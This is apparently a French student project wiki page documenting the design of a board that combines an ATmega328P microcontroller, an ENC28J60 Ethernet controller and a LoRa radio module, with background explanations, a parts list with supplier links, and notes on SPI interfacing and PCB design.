[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
